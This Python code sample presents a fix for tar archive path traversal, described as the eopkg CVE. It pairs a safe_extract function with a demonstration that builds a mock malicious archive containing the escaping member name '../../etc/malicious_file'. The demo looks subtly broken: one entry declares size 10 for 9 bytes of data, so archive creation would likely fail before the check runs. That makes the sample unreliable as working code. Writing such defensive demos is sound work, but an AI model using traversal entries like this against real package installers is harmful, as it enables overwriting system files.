Patched code sample

import os
import tarfile
from io import BytesIO

def safe_extract(tar_archive_bytes, destdir):
    """
    Extracts a tar archive to a destination directory, preventing path
    traversal vulnerabilities (like CVE-2023-24136 in eopkg).

    This function represents the fix by ensuring that any file path
    within the archive, when resolved, remains inside the specified
    destination directory.

    Args:
        tar_archive_bytes (bytes): The byte content of the tar archive.
        destdir (str): The target directory for extraction.

    Raises:
        PermissionError: If a file in the archive attempts to write
                         outside of the `destdir`.
    """
    # Ensure the destination directory is a resolved, absolute path for comparison.
    # This is the trusted root.
    real_destdir = os.path.realpath(destdir)

    # In a real scenario, this would be `tarfile.open(name=...)`
    with tarfile.open(fileobj=BytesIO(tar_archive_bytes), mode='r') as tar:
        for member in tar.getmembers():
            if not member.isfile():
                continue

            member_path = member.name

            # --- THE FIX ---
            # The core of the fix is to validate the path before any FS operation.
            # 1. Prevent absolute paths in the archive from overwriting system files.
            #    os.path.join('/tmp/dest', '/etc/passwd') becomes '/etc/passwd'.
            safe_member_path = member_path.lstrip('/\\')

            # 2. Create the full, intended destination path.
            intended_path = os.path.join(real_destdir, safe_member_path)

            # 3. Resolve the path to its canonical form, evaluating any '..' or symlinks.
            #    This is what an attacker's path would resolve to on the filesystem.
            resolved_path = os.path.realpath(intended_path)

            # 4. Check if the resolved path is still within the trusted destination directory.
            #    os.path.commonpath is a robust way to verify this.
            if os.path.commonpath([real_destdir, resolved_path]) != real_destdir:
                raise PermissionError(
                    f"Path traversal attempt detected. "
                    f"'{member.name}' would write to '{resolved_path}', "
                    f"which is outside of the destination '{real_destdir}'."
                )
            # --- END OF FIX ---

            # If the path is safe, proceed with extraction.
            # In a real implementation, you would create parent directories first.
            print(f"[SAFE] Extracting '{member.name}' to '{resolved_path}'")
            # The following line is commented out to prevent actual file writes.
            # tar.extract(member, path=destdir)


if __name__ == '__main__':
    # --- DEMONSTRATION ---

    # 1. Define a secure destination directory for our package installation.
    install_root = "/tmp/install_root"
    os.makedirs(install_root, exist_ok=True)
    print(f"Installation destination directory set to: {os.path.realpath(install_root)}\n")

    # 2. Create a mock malicious tar archive in memory.
    # It contains a legitimate file and a file attempting path traversal.
    malicious_tar_bytes = BytesIO()
    with tarfile.open(fileobj=malicious_tar_bytes, mode='w') as tar:
        # A normal, safe file
        info_safe = tarfile.TarInfo(name="usr/bin/program")
        info_safe.size = 10
        tar.addfile(info_safe, BytesIO(b"safe file"))

        # A malicious file attempting to escape the destdir
        info_malicious = tarfile.TarInfo(name="../../etc/malicious_file")
        info_malicious.size = 15
        tar.addfile(info_malicious, BytesIO(b"vulnerable file"))

    malicious_tar_bytes.seek(0)

    # 3. Attempt to extract the malicious archive using the secured function.
    print("--- Attempting to extract a malicious package ---")
    try:
        safe_extract(malicious_tar_bytes.getvalue(), install_root)
    except PermissionError as e:
        print(f"\n[ERROR] Vulnerability blocked successfully!")
        print(f"Details: {e}")

    # 4. Clean up
    import shutil
    shutil.rmtree(install_root)